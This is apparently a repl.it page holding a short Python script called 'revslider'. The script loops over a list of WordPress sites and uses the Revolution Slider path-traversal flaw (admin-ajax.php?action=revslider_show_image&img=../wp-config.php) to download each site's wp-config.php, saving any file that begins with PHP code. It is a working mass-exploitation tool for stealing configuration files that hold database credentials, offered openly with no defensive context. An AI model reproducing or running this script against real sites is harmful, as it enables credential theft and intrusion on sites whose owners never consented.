repl.it
@notbehind_you/

revslider

Python

No description

fork
loading
Files
  • main.py
  • list.txt
main.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import requests,os,urllib.request,time
from urllib.parse import urlparse
#open the list file containing wordpress sites
f = open("list.txt", "r")
fc = f.readlines()
#check if the slider-results directory exists, if not then create it
if os.path.exists('slider-results'):os.chdir('slider-results')
else:os.mkdir('slider-results'),os.chdir('slider-results')

#for every site in the list
for line in fc:
	#parse the url
	o = urlparse(line)
	if o.scheme == "http" or "www" or "https":
		line = o.scheme+ "://"+ o.netloc
		line = line.strip()
		thing = '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
		line+=thing
		try:
			up = urllib.request.urlopen(line).getcode()
			if up == 200:
				url = line
				r = requests.get(url, allow_redirects=True)
				if r.content == b'0':
					print ("No data found from " + line)
					continue
				else:
					name = o.netloc +'_admin-ajax.php'
					if r.content.startswith(b'<?php'):
						open(name, 'wb').write(r.content)
						empty = open(name, 'r')
						rd = empty.readlines()
						print (line)
						continue
					else:
						print (line + " Is not a valid php file")
						continue
		except:
			print ("error")
			pass
Fetching token
?